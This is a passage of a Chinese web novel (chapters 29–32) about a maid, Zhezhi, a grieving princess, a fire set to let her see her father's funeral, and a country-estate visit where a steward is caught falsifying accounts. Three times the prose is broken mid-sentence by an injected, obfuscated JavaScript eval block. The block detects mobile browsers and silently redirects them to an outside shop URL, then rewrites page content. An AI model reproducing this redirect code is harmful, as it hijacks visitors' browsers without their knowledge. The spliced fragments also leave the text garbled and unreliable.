折枝默默看了眼翠云，最后还是没有说实话，只是道：“奴婢觉得夫人既然吩咐了，便一定有她的道理，不如让奴婢去通传姨娘一声？想来姨娘与老爷如今正在情浓之时，怕是轻易不愿意离开的。” 秦佩毕竟官拜尚书，朝中事务繁杂，自然不可能跟着她们一同去了京郊玩乐，只能留在京中免去奔波。 秦明月想了想，觉得有道理，便由着她去了。 欲让其亡，先让其狂。 李氏前段时间称病，已经让宋姨娘和那些一心想要攀附宋姨娘的下人吃到了甜头。可那只是病了，府中事务也都还在她手下的覃姑姑手中打理着，出不了错。如今一走，便是要将秦府阖府上下全部交给宋姨娘打理，暂掌管家之权。 她必不可能放任不要。 却也一定会沉不住气。 宋姨娘此人爱财，第一日见到李氏和秦明月身上的宝贝便再也移不开眼了，若有朝一日她手中握着偌大的秦府的家财，又当如何？ 29. 赎身（前世） 不出所料，宋姨娘果然婉拒了去京中庄子的请求，只是笑着打量着折枝。 “多些夫人小姐好意了，只是妾身今日身子不适，恐难以奔波劳碌。夫人病才大好，想来是在家中闷了许久，想要出去透透气了。如此一来，妾身更不好去打搅了。” 折枝点了点头，笑得谄媚，又交代了夫人走后，或许府中事务都会交给她去。 宋姨娘眼熟她，正是秦明月身边的小丫鬟，瞧她有眼力见，便让听松拿了些碎银子递到了折枝手中。 宋姨娘还是会做人的，如若不然，也不可能在外边住了那样久还没有人泄过密。 折枝掂量了一下碎银子，却没有太高兴，因为想到自己存下的银子还远远够不上为自己赎身的，暗中有些挫败。 遥想当年，她也曾有过一段被赎身的经历，只是那时候人微言轻，只能仰仗她人鼻息过活，活的谨小慎微。 * 杏花落了一地，风微凉。 丝竹声停歇，坐在上位的女子看着神色有些疲惫。 她身上披了件云纹绉纱袍，像是有些畏寒，将自己裹做一团，只露出一张脸来。 她闭着眼，看不清楚神色，只是眉一直皱着，想必是心情不大好。 折枝往上看了看，手上拨弄琴弦的动作却没断过。 一曲终了，薛泠才缓缓睁开眼睛，那双杏眼本应如春水一般潋滟，杏眼边的泪痣应该如同花钿一样美艳。只是那双眼睛有些空洞，竟衬得旁边的泪痣像垂下的一颗泪滴。 悬在眼边，欲落不落。 薛泠坐姿很不优雅，将腿高高翘起，半卧般的支起身子，任谁见了也会说她不规矩。 好在附近并没有人。 薛泠一向有个古怪的癖好，那便是听乐的时候不许别人在旁边，甚至连贴身伺候的丫鬟婆子都不许。 折枝抱着琴，一双垂着的狐狸眼睛不显狡黠，倒是添上几分落寞。 她撩了撩鬓边的发，一举一动，风流韵味自溢。 “怎么，折枝娘子弹完这曲《水东游》，竟也弹到忘我，曲终人散，也落寞起来了吗？” 薛泠吩咐下边其他乐伎走了，只留下了折枝，立在中间。 诸位姑娘都知道，折枝娘子如今在京中炙手可热，有许多文人墨客甚至是达官贵人都想着与折枝娘子多说些话。 以至于还有传言说，京中许多女眷都暗地里向着折枝娘子打探美容养颜之事，如何抓住自己郎君的心等等，诸如此类。 便都没有多想，只是手上抱着乐器走开了，不敢多留一会儿。 纵使是不急，可这祁阳王府的祁阳王可是个万花丛中过的老手，偏偏又不能给姑娘们一个好的归宿。若是被他看上，必定得不了好。也一定要想着法子快些走了。 折枝摇头：“妾身只是不知，王妃要妾身弹这一曲究竟为何意。妾身才疏学浅，只是略通一些曲艺，却猜不透这曲子里究竟想说些什么。” “山河破碎风飘絮，身世浮沉雨打萍。折枝，你说，在这乱世当中，像我们这种无根的浮萍，无依无靠，如何能与世间抗衡？” 薛泠眼睛望着她，却又好像是透过她。或者是想从她的身上看出另一个人的影子，并且，那个人，或许折枝也认识。 折枝不知道该回答什么。每回她来这祁阳王府来为薛泠弹奏，每回弹完总会和她谈心。 可总感觉，这一回的薛泠早已没有刚入府的热情青涩了，反而冷静得让她感到陌生。 她说话，声音涩涩的，“王妃有王爷，又有偌大的王府，坐拥仆人财宝万千，怎能算作无根浮萍？” 薛泠摇头，眼眶红得那刻比脸颊边滑下的那颗泪还要快。 “折枝，我没有家了。” 折枝有些疑惑，但想到从乐坊来祁阳王府的路上，坐的马车上遇见一家人出殡，声势浩大。 来往送迎的人排了长长一条街，皆头戴白布，三尺之长。白色的纸钱散了一地，像是落了一地梨花。 旁边的吕三娘一把扯过了折枝掀开帘子的那一角，狠狠啐了一口，却不敢太过了。 “别看了，真是晦气！” 吕三娘旁边的小娘子姓罗，长了一张圆脸，十分讨喜，拍了拍她的手顺心：“别说了，方才出殡的是先前的右相薛平，年纪并不大，竟就如此……不过，见棺发财，说不定今日王妃见我们演得高兴，想要多赏些给我们呢！” 折枝坐在摇晃的马车上，想到祁阳王王妃薛泠是先薛相的长女，怎么没有去送薛相出殡，反而在家中邀了她们前去演奏呢？ 她什么话也没说，只是下车之时悄悄往手里攥了一张纸钱。 思绪回笼，折枝也明白了薛泠为什么说她没有家了。 可是即使薛相卒了，薛府不也还是薛泠的娘家吗？ 折枝却没有开口问，只是放下琴，伸出手拍了拍薛泠的肩头。 薛泠不注重规矩，管着她们一群乐子叫姐妹，不然折枝是万万不敢拍她的肩的。 老虎的毛，拔不得。贵人的肩，拍不得。 薛泠抓住折枝的手，像是溺水之人抓住最后一块浮木。 “折枝，我没有家了……我父亲……我父亲……” 她哭得上气不接下气。 折枝很少见到有这样的贵人会失态到了这个地步。 即使是当年她还年幼之时的，遇见那个被抄家灭府的秦家的秦大小姐，家破人亡，被迫被沦入贱籍。她也只是握住一柄银色的匕首，轻轻一划，一条鲜活的生命就倒在了地上。 宁为玉碎，不为瓦全。 “折枝，我真蠢……我真蠢……” 人在极度悲伤的时候是喜欢说些词不达意的话的，并且很喜欢说些重复的话，看似无听之处，却句句诛心。 “长了这样人人都夸的一双眼，竟然还比不过瞎子。你知道吗？前日回京，我路过城隍庙，遇见一群遍地走的乞丐。我问他们，若一个人处处恭维你，夸赞你，无论做错做对也总是捧着你，那这个人对你是好还是坏呢？” “里边有人四肢残了，有人瞎了眼了，还有人不认字……却无一人说这个人是好人。” “为什么我看不出呢？” 折枝看着她的泪打湿了盖在身上的袍子，无人上前，她只能掏出自己的手帕，轻轻为薛泠拭泪，聊胜于无。 “我做得对的，是该夸赞。可我做错了，不受责罚，怎么能知道自己错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533299|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了呢？” “人恒过，然后能改。可不知道错处，又该如何去改呢？” 薛泠双眼通红：“你说我可笑不可笑，到了如今这个地步，竟才知道身边无一个说真话的人。反倒信任一个只打过几次照面的生人。” 若不是今日遇见出殡的车队排在大街上，敲锣之声传入她的耳中，又收到折枝从地上捡起的一张纸钱，她永远不知她的父亲已经去了。 “我身边的绿筠，跟了我十二年。红蕊……跟了我十八年，是伴着我一同长大的情分，可我竟不知，她一直是我那继母的人。何必呢……何必蒙骗我到如此地步？” “倘若要做局，不如一辈子将我扔在京郊庄子里自生自灭，再也不要去管要轻松得多吗？” “可为什么要处心积虑为我筹谋，为我操劳，害得我将一颗真心都交付过去才告诉我真相呢？” 她不明白，若是真的一心想要谋害，又何必在她病时衣不解带地日夜照顾。何必在她名声扫地之时又走完京城，叩遍门环，唯恐别人轻贱了她去。 何必在她需要母亲之时轻轻搂住她喊囡囡，更何必在她议亲不顺之时，亲自上了金銮殿前去为她求旨。 何必在她出嫁之时，在那双眼睛里蓄满泪水。 如今她举目无亲，唯一真心疼爱她的父亲化作一撮土于地。 姊妹离心，姐弟不睦。仆人不忠，夫妻生疏。天地之间，哪还有她的家？ “母亲啊！” “你害得泠儿好苦啊！” 折枝轻轻安抚着薛泠，却也明白薛泠为何信任她。 薛相夫人乃是京中女子表率，善名远扬，最是厌恶折枝她们这种轻浮女子，因此绝不可能为了再刺薛泠一刀而与折枝周旋，不值当。 而折枝既然肯告诉她薛相去了的现实，那便是不怕被牵扯到这些当中，与那些极力想撇开的乐伎们大有不同。 两个身同无根浮萍的女子抱在一起，竟好似脚底下生了根，开出一朵花来，在风中摇曳。 折枝为薛泠轻轻拭去眼泪，听见她瑟缩着喃喃：“我什么都没有了。” “我什么都没有了。” 折枝一把扶住她摇摇欲坠的身体，难得抬起眼睛，那双眼睛里迸发着微弱而不可忽视的光：“王妃坐拥王府，才不是什么都没有了。” “既然天有不公，那便要同天相争。既然人心不古，那便与人心相争。” “王妃，水东游，人力可以改道。” 薛泠闻言，竟是愣了一愣，僵直发冷的身体忽然一寸寸地回暖，“我还有你……我还有你。” “折枝，我为你赎身吧。” “以后，你就跟在我身边。让他们看看，像我们这样的浮萍，同样也能在这京中生根，同样……” 她的声音哽咽，让折枝没有听清最后究竟说了些什么。 “我错了……” 折枝不知道她究竟错在何处，只知道她看向自己而想透过她看出的那个人应该知道她究竟错了什么。 杏花落在折枝指尖，却让她有种说不出来的感受。 即将脱离奴籍，她想，她该是很高兴的。 可脑海里却莫名浮现出另一个人的脸。 30. 走水（前世） 輀车垂素幕，欲发故迟迟。 细雨滂沱，薛泠头上只是带了个带着纱的斗笠，遮住面目。被遮住的面目之下，却同样下着一场雨，淋漓不绝。 她骑在高头大马之上，浑身无力，却必须死死夹在马上，往前边不要命地跑。 折枝换了件不起眼的葛布衣衫，也带了个斗笠跟在薛泠身后。 勒马于地，折枝找到了一个客栈的掌柜帮忙照看着的马匹，交代完毕，她看见薛泠望着烟雨蒙蒙的天际，略微失神。 “京中贵女，从幼时便开始学骑术。可我自小长在庄子里，从未有人教过我如何骑马，是我父亲，每日下了朝，带我到马房前转了一圈又一圈。” 泥泞的地上，处处是飘散着的纸钱，被人踩过不知道多少遍，全是脚印。 薛泠望着出殡的车队出了京城，望着京郊小路继续往前。 她忽的身上发紧，不管不顾地往前突破桎梏，死死地盯着那灵车，像是立马就要往前奔去。 守城的官兵举起手中的刀剑，望着薛泠，一脸不悦：“来往城中要有路引，你们若是想要出城，路引拿出来看看。” 折枝稳住薛泠的身形，透过纱帘望着那官兵，笑意盈盈：“这位官老爷，”她从袖中拿出一锭银子，放到官兵手中，“还请通融通融，我和姐姐就在这城墙上看看便好，绝不出城。” 那官兵掂量了下银子，从鼻腔当中挤出一声冷哼，便不再管他们了。 薛泠挣脱折枝的束缚，往前狠狠踉跄了几步，数着一块块砖石往城墙上走。 灵车快要消失在尽头，薛泠终于止不住冲动，往前爬了两步，跪倒在墙前。 雨水和血水融在一起，打湿了薛泠的月华色的长袍。 风扬起她斗笠下的纱，让折枝才看清她脸上脂粉化了一片，不知是雨水还是泪水。 本来薛泠的那个继母是连让薛泠见她父亲最后一面的机会都不愿给的，若是通报出来，她必然想着用尽一切方法让她不能出王府的门。 偌大的一个王府，她薛泠作为王妃，竟是一点威严也不曾有。 无论如何，薛泠帮过折枝很多次。 如今更是答应为她赎身，折枝想，即使薛泠见不到薛相的最后一面，自己也一定要想办法让薛泠好歹送送他的灵柩。 于是，她让薛泠扮作了自己的样子，又一把火，将王府的偏院烧了个干干净净。 “走水了！走水了！” 火光冲天，在白昼中亮得刺眼，王府中人人奔走，忙着抢救府中的贵重物品，忙着去临近的水塘和河里提着桶去打水扑灭熊熊大火。 薛泠看着一个个慌张从她身边擦过的人，竟无一人想着，里边还有人，还有位王妃。 怎么没有人说要救救王妃呢？ 折枝趁乱从马房将受惊的马儿放走，又耐心地安扶着在她手上剩下的马匹，温顺地蹭了蹭她的手心。 既然没有人留恋她，那这个王府，她如今再留着也没有意义。 两人翻身上马，一路快马加鞭到了城墙处。 —— 前边送灵的人又撒下一把纸钱，飘散下来，最后凝在路上，千百人踏过，是薛父留给薛泠的最后的东西。 薛泠哭得肝肠寸断，折枝都快以为她下一刻便会跳下城墙立刻去陪薛相先薛夫人团圆。 可她只是呆愣了很久，仿佛失了精气神。 有几张纸钱在空中飘了很久，最后不知怎的竟飘到薛泠的乌发之上，她伸手又接了一片。 “妾身曾经看过古蜀国的书。” “人死之后，魂魄飘荡在三界当中，还未入轮回之时可附在如同蛱蝶一样的物什之上，娘娘，这或许是薛相……” 她话还未说尽，只见到那张纸钱竟然又从薛泠的手中飘走，重新散在空中。 薛泠慌了神，不稳地往前追了好些步，猩红的眼睛死死望着那纸钱，却怎么也抓不住。 最后，那纸钱仿佛真通了灵似的轻轻在薛泠头上抚了抚，最后又飘远，散在空中再也看不见。 天地之间，再无踪迹。 薛泠破碎的声音响起，嘶哑到不像一个活人能够发出来的：“诛人如此，不如诛心。” “折枝，你知道吗？我方才看到那城墙，想了无数遍，是不是我跳下去，就能和爹娘团聚了？” 城墙百丈高，若就这样跳下去，必定死无全尸。 “可是我不能，我跳下去了，死了一了百了。可是杨伊那个贱人呢？她凭什么让我连父亲的最后一面都见不到？” “她凭什么？” 路上来时听到沿路人说，薛父是得了重疾，不过几月便撒手人寰了。 可怜几月王府内竟无一人告诉她，她父亲病了。卧在榻上，朝着杨氏一遍又一遍地念着要泠儿回家，要泠儿回来。 “泠儿在王府过得不好……听说老王妃一直罚她禁足，不许她出门……泠儿最喜欢热闹了。你……咳咳……你去递帖子，让泠儿回来，为我侍疾。你去！” 杨氏抹了抹泪，连声应下，却是没起身，只是握住薛平那双早已干枯的手，滚烫的泪滴滴在上边，看着像是伤心至极的样子。 “老爷，我递了……早已递了……” “不知道是老王妃不让她回来，还是如何的……泠儿也一直没传回来话来……”她用另一只手抹了抹泪水，坚强道：“或许……或许就在路上了，故而来不及传话回来。老爷……” 旁边站着的一位少年郎也长了一双大眼，悬鼻高挺，与薛泠容貌有三四分相似，如今正红着一双眼睛，拳头捏得咯咯作响。 “母亲，你就不要再为她开脱了！” “我二姐在宫中尚且还能递话回来，能赏赐补品，她薛泠只是被禁了足，又不是死在了王府，怎么可能出不来？” 杨氏慌张起身，狠狠给了薛贺一巴掌。 他是薛泠幼弟，只是自小便和两位姐姐不和。当年薛母贺氏生薛贺时难产，生下他不久之后便撒手人寰了。 两姐妹总觉得是这位弟弟克死了亲娘，便一直对薛贺鼻子不是鼻子，眼睛不是眼睛的。 薛贺捂住脸冷冷一笑，看着榻上有些失望的薛平道：“母亲何须替姐姐遮掩，我那姐姐哪里是被她婆母困在家中出不来，而是她本就是个白眼狼，如今知道自己的父亲病得都快起不来身了，还窝在王府里听箫品琴呢。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533300|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>…… “我那幼第，幼时最是温顺敦厚。牙牙学语之时，父亲曾带他来庄子上看我。那时候他会笑着圆圆的脸，对我喊，大姐姐。我小时候是有些讨厌他的，但是看见他长得玉雪可爱，又忍不住私底下对他好。我总不解，怎么我怎样为了他好，他却一直感受不到呢？原来……原来早有人在我们姐弟之间划开了一道万丈深渊，无论后来如何填补，也只不过聊胜于无。” 沉香殿。 袅袅的熏香被不知谁扔过来的一卷书砸得散乱，薛姝拂袖，将供桌之上的佳肴糕点全部打落，滚在地上。 “薛贺那贱人，克死了母亲，如今又克死了父亲……那下一个呢，会是谁？薛泠？还是我？” “早知如此，我还不如当初在他出生的时候就一把掐死他！” “如果不是他当初捅下篓子，非要开罪阳荷郡主，她又怎么会设计让大姐嫁入王府，受尽折辱？如果不是为了替他筹谋出路，父亲又怎会急火攻心一病不起？如果不是阿娘为了生他……” 物品溅落一地，哭声也响了一地。 薛姝身边的小杏拉住了薛姝的衣角，哭得泣不成声。 “娘娘……您不要再说了，您不要再想了……” …… “我那二妹，小时最是良善，每回前去上阳观的路上遇见路过乞儿，她总心疼得两眼流泪。最初她讨厌薛贺，也只不过不给他好脸色罢了……我一直以为，只不过是妹妹长大了，心思自然变得重了，可却没想过，竟是一直有人在教着她一步步变得心狠，引导着她将心中的仇恨越放越大，最后失了自己。” 薛泠轻轻叹了口气，望着水墨画般的城郊山水，再也听不到车队的敲锣声。 连最后一丝念想也是没了。 折枝问她从此之后该怎么办，还回那如狼窟一样的王府吗？ 薛泠说：“要回。我从前竟不知道，以为这桩姻缘是她替我求来的一段良缘，却不想这是她为我量身定做的牢笼。就这样恨我，恨我们薛家的人，不让她看看我究竟是如何被挫骨扬灰的，岂不是白费了她一番筹谋？” 从那以后，折枝便同薛泠一齐住进了祁阳王府。 坊中传言说什么的都有，有说那日王府起了大火，折枝娘子没能逃出，因此脸上被烧伤，没脸再见人，已经离开了京城。也有说是祁阳王府里的主子觉得折枝娘子美色艳绝京城，总之那个王爷是个好色之徒，便将折枝娘子赎了身……甚至还有说那祁阳王王妃是个有磨镜之好的怪人，日日召乐伎前去府中，只为多见见折枝娘子。 此等话也有人信，只是因为薛泠实在是名声太差了。 尤其在此次薛相过世之后，更是有许多士子大骂祁阳王夫妇乃是一对不忠不孝、目中无人的狼狈。 而薛泠只是给她倒了一杯茶，让她别听那些人的闲言碎语。 闲敲棋子落灯花。 只有折枝和薛泠知道，她为什么会为她赎身。 世上并没有哪一件事不是靠自己争来的，而她虽然争错了，可那个人还是给她留了最后一条后路。 如同当年她在秦府叩头，血流了一地也不愿意死，却还是固执地想要再活下去。 31. 庄子 青石街上，初阳横斜，洒在石板上。 马车的轮子压在石板之上，发出吱嘎的声音，幽幽向前。 既然已经定好了要去庄子上玩，当日下午两位主子身边的人就开始收拾东西。到了第二日，天不见亮，马车便已经备好。 秦明月坐在马车上，打了个哈欠，靠在翠云身上睡觉，时不时睁开眼睛问问折枝到底到了哪了。 折枝听着外边声音渐渐少了，便悄悄撩开了帘子，行人渐少了，想必是已经快到了京郊。再看那沿街的芙蓉斋，想必是到了光行坊。 京城中的芙蓉斋分号，唯独这里的的这家最为偏僻，然而人也不少。想是这路上最热闹的地方，故而折枝轻轻答了。 “前边就快要出城了，想来不过最多一刻钟便可以过了守城的了。” 秦明月又闭上眼睛，小憩去了。 果然不到一刻钟出了城，出示了路引，又继续朝前颠簸。 一路听着车轮声滚着，未到午时，便到了秋山庄。 秋山庄环山绕水，绿树成荫，正处在京郊西南处，不算太远。 几人下了马车，看见那秋山庄的刘庄头带着身边的几个管事已经等在了门前。看脸色有些疲惫，想是已经等了许久。 刘庄头见了李氏被覃姑姑迎下车，立马走向前，殷勤招呼李氏。 “夫人小姐一路舟车劳顿，着实是受累了……不知道夫人是先歇下还是如何？午膳、汤水都已经备好了，院子也按照往年的收拾安排妥帖，只等夫人和小姐住进去了。” 李氏点了点头，吩咐着刘庄头将热水备好，等她和秦明月沐浴更衣之后再用午膳。 正午的日头正毒辣，可这庄子里却凉快得紧。折枝和翠云一个殷勤为秦明月布菜，另一个则在旁边拿着扇子扇风。 席面琳琅满目，大大小小的放了满满一小桌。既有庄子里自己酿的果酒，又有庄里头猎户猎得的野味，才从院子摘下来的新鲜枇杷。 秦明月吃了一口鹿肉，嫩滑爽口，眼睛亮了又亮，比从前又多吃了好多。 “翠云，折枝，你们待会也吃这个！” 刘庄头朝李氏敬酒，脸上的笑容一把胡须都藏不住，“小的敬夫人一杯，祝夫人小姐福寿安康，岁岁无虞。” “刘庄头客气了。秋山庄本就是夫人娘家备下的嫁妆，庄里的管事庄头也是夫人和太夫人亲自挑选的人，自是最为信任。” 李氏并未答话，只是笑着应下了他敬的酒，任着旁边的覃姑姑说话。 刘庄头便是那春桃的祖父，听见覃姑姑如此抬举他，也免不得一时高兴多喝了几杯酒，又有些试探地追问起他那孙女。 “小的那孙女今年年初的时候送进了府里，名叫春桃，可还得用伶俐？” 拉拢人心，不仅仅要同他示好，更是要让他身边的人也得到好处。所谓攻心，便是拿住人心，让他本就动摇的心彻底向着自己。 刘庄头知道自己一生也就如此了，他那儿子也是个不中用的，难堪大事。便寄希望于孙辈，孙辈的子弟大多平庸，也只有春桃这个孙女伶俐些，长得又清秀，还有几分可能哪日得了大人物垂青。 覃姑姑笑了笑，端起酒杯也回敬了刘庄头：“春桃那丫头是个伶俐的，夫人一直留在身边教养着，想来日后必定大有作为，做个贴身婢子不成问题。” “好，好！”刘庄头高兴，喝得满脸通红，心里对李氏的敬服也更多了几分。 毕竟他家就指着李氏提拔，能走到什么地步，也只仰仗李氏罢了。 用罢午膳，李氏留下几位管事的和刘庄头在正厅里说话。秦明月觉得这些大人说话没趣，便自顾自地到了一旁，躺在葡萄架下的晒太阳。才没眯上一小会，就听见有人声响起，是庄子上的庄户出了门做活去了。 她忽然想起了上回李氏同她讲起那个被配了冥婚的姑娘，似乎就是收留在了这庄子里头。姓高，原本是京城中一家酒楼的女儿，却是外面出生的，不被家里嫡母喜欢，便被随意打发了。 “折枝，你去找刘庄头，说我想见见庄子里之前来的那位高姑娘，还想扎几只风筝放着玩。就说是我吩咐的，快去快回。” 折枝垂首答是，想到秦明月应该是一时兴起。她又抬眼，不动声色看了看那枚被秦明月缀在腰间的香囊，迈开腿走了。 最近秦明月一直对着那香囊上心，日日都挂着。偏偏又是翠云贴身伺候，她并没有机会看看里边究竟有什么蹊跷。 何况，她就算有机会下手，也无处寻得到那香囊上的锦布，再绣出和李瑜别无二致的绣样。李氏那边也并不想她打草惊蛇，直接盗走或换了都是行不通的。 她只能想个让人都找不出毛病的法子，去把秦明月身上的那个香囊骗出来。 正厅里。 刘庄头和几位管事手上都抱着厚厚一沓账本，俯下身恭恭敬敬朝着李氏送去。 李氏坐在上边，甚至都没有抬起眼睛看他们，“你们秋山庄的账目，我年年都来查，年年都是一样的，今年的就免了吧。” 刘庄头笑着点头称是，招着手让几位管事的带着账本退下了。他那干巴的脸上的褶子，笑得几乎快要淹没了他的五官。 “咱们庄子是夫人的陪嫁，自然是最忠心夫人的。做假账此等腌臜事，也只有别的庄子上敢做，咱们是万万不敢的。” 李氏冷哼一声，喝了一口茶，狠狠呸了一声。 “这几年朝中灾荒频发，赋税杂役都加重了许多，偏你这账目几年一直不变，你说，你这账本上的，到底是不是假账？” 刘庄头此时只懊恼自己没读过书，竟然将这茬给忘记了。还自作主张地将每年的都改成相差无几的，以为这样就可以瞒天过海，又见李氏一直没有找他的错处，以为她当真信了。却不想李氏早就开出来了，只是一直没说过罢了。 刘庄头背后被冷汗沁湿了一块，哆哆嗦嗦跪下了，脑中一直斟酌着究竟是说实话还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533301|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说假话。 又听到覃姑姑在旁边轻声道：“夫人既知道庄头做了假账，却一直没有罚庄头，权只睁一只眼闭一只眼，庄头可知道为何？” 他就算是知道，此情此景，他也什么话都不敢说啊！ “夫人一片苦心，你等若心里不明白，你等若心里还是没杆秤，那边当真白费了夫人多年的信任了。” 刘庄头仔细回想方才的话，才知道是覃姑姑一直在敲打着，要他示诚。 他立马磕了几个响头：“夫人，请您明鉴，小的是夫人家生的奴才，祖祖辈辈都是服侍着李家的啊！” 李氏风眼微眯，不悦地扫过刘庄头，声音提重了几分：“你说你是服侍谁家的？” 刘庄头立马发现自己话说得不妥，狠狠扇了自己几个嘴巴，哭道：“呸，瞧小的这张笨嘴。小的是夫人的陪嫁，便是只忠心夫人一人，眼里再没有别的主子！” 覃姑姑引着刘庄头起了身，坐在椅子上了，才语重心长道：“庄头能有如此见解，便是让老身也自愧不如。庄头一家都是在秋风庄过活的，你家那个媳妇我记得也是采买管事的，孙女又在夫人面前得脸，自然是全心全意地为着夫人，想着夫人的。夫人多年未曾过问这些琐碎，不仅是信任着你等，还是看重自家庄子里的人。只是一点，若是以后欺上瞒下的行径做的多了，怕是一家子都要去喝西北风去了。” 刘庄头腿都软了，以后再也不敢从里边想着掏油水的事情了。 李氏训完话，正瞧见夏荷进来，附在她耳边说了什么。 折枝进了那正厅，便见到方才神采奕奕的刘庄头如今就像个被霜打了的茄子一般，缩在那椅子上，双腿还哆嗦着。想必是才被李氏敲打，如今心里五味杂陈。 折枝先朝着李氏和身边的见了礼，才对刘庄头说明来意。 “方才小姐同奴婢说，想见见前些日子来的那个高姑娘，不知在哪里？请庄头带奴婢去见一见那高姑娘吧。” 刘庄头本就不想再在这里多呆，见了折枝就像见了救世主一般，得了李氏首肯便领着她到了田间。 那高家姑娘正在田间扒着草，脸晒得泛红，见到庄头来了，连忙停下手中的活计。 “庄头，您怎么来了？” 这个刘庄头虽然做了些欺上瞒下的事妄图捞些油水，可却不算个恶人，至少对手底下的庄户也算宽厚。如若不然，李氏绝不会顾及什么家生子的情面，早就不会睁一只眼闭一只眼，打发他走了。 “前些日子不是同你说夫人小姐要来庄子上吗，今日上午时候便到了，如今更是点名指姓要你前去服侍呢！” 本来这种活计都是他家那伶俐的孙女春桃去的，只是春桃去了秦府不能回来，庄子里头又都是些乡下妇人，刘庄头怕她们那些粗人服侍不好。便指望着这个从京城出来的姑娘能讨得小姐欢心，也好让夫人消消气。 高家姑娘名叫高雀，闻言擦了把汗，丢下手里的草，跟着折枝去了。 32. 杂耍 田间青翠一片，麦苗顺着风伏着，四处摇晃。 来的路上折枝同刘庄头说了秦明月要风筝的事情，刘庄头应下了。高雀在一个破旧的木屋里换了身衣裳，便跟着折枝往前边走。 庄子的田地外边就是官道，只是边上种了一排矮树，就当作是栅栏，隔绝了管道和田地。 这里已经是很远离庄户们住的地方了，平日里庄户们若不是为了干活，绝不会来到这些地方。 折枝指了指那矮树后边，有些不解：“高姐姐，我怎么听着外边好像有马蹄声？” 高雀理了理身上的衣衫，回答：“那外边是官道，来往驿站的人，都须得走官道才好。来往的人杂乱，咱们庄子里的庄户都不愿轻易靠近呢。” 折枝点了点头，像是想到什么有些害怕，便不再多问这些了，只是闭了嘴，继续跟着高雀往秦明月那边去。 到了院子里，已经见到秦明月已经起来玩那些庄户们送来的小玩意了。 有竹子扎的兔子、青蛙、蚂蚱，栩栩如生，十分有趣。秦明月起先还感觉有趣，看了一会儿发现竟全是前些年早有了的玩意儿，便不觉得新鲜了。 高雀到了，先给秦明月行了礼，接着便笑道：“小姐可是觉得这些没有意思？听闻小姐喜欢蹴鞠，小的的母亲原是京中戏曲班子里边的，会些子杂耍。小姐若不嫌弃，小的便用上这个竹球给小姐来上一段杂耍，可好？” 高雀蹲下身，从地上拎了个巴掌大小的竹球，拿着手里。 秦明月当然乐意得很，看着那竹球在她手上像是活过来了那样。从一个肩头滑到另一个肩头，接着在空中起飞了一段，凭空变没了，却又下一刻就出现在了她手中。 “这是变戏法吧？” * 高雀身上的确是有些讨人喜欢的本事的，短短半日，就叫秦明月喜欢她喜欢得紧了。 第二日早晨起来放风筝，秦明月也吩咐折枝去将那高姑娘唤过来陪她一起。 风筝高高飞在天空，上边扎着鸢尾，倒是活脱脱像个真的鸢鸟。 田里的麦苗长得正好，青翠欲滴。 秦明月往前追风筝，看也不看底下的路，便一脚就踏在那麦苗之上，踩坏了不少。 翠云在后边追：“小姐，慢些，当心脚下！” 折枝看着那些麦苗，心里觉得有些惋惜，但却什么都没做。她看见高雀在秦明月身后摇了摇头，蹲下身又将那些麦苗默默扶好。 接下来几日，高雀如何也不带秦明月去种了的田地旁放风筝了，所幸秦明月心大，倒是一直并没有发觉。 她与高雀像是一见如故。高雀带着她玩乐，什么都纵着她，由着她，还会许多好玩的新奇的杂技，都是秦府里边没有的，她喜欢得紧。 而李氏那边，敲打那刘庄头并不完全是为了告诫他蒙混过关此举并不可取，更是点醒他他全家全都仰仗李氏过活，务必替李氏排忧解难。 刘庄头此刻正看着上边坐着的李氏听夏荷汇报近几日府里发生的事，自己却在底下坐着大气都不敢出。 “夫人，这几日宋氏一共花了一千三百二十一两，吃食占了三百两，日日要吃鲍鱼燕窝，走的都是公账。去看了城中的铺子，又拿了她名下的当铺当中的一些首饰，未过帐目。去成衣铺又做了几身衣裳，花了四百二十一两。布庄的掌柜与宋氏似乎有私交，只待宋氏进了铺子里便立刻给宋氏看了最时兴的料子，未过帐目。其余三百两，宋姨娘只是兑成了现银，送到府外去了，送去哪里却是不知。” 李氏正在用茶，闻言竟是眼睛抬也没抬，继续问：“那别的事呢？” 夏荷又道：“这几日府里当真是热闹得很。宋姨娘前前后后收用了八个丫鬟婆子，安排在院中，洒扫庭除，浆洗置物。本是没什么的，可是有人传出那些进了疏影阁的人都是在背后使了银子的，府里就乱起来了。” “厨房烧水摘菜的刘婆子不知道怎么的，跟疏影阁里的采买管事嬷嬷张嬷嬷吵起来了。说还是动手了呢，全府上下都知道了，还惊动了老爷。老爷震怒，便一人罚了半年月钱，说再有下次，就打了板子放出府外去。” 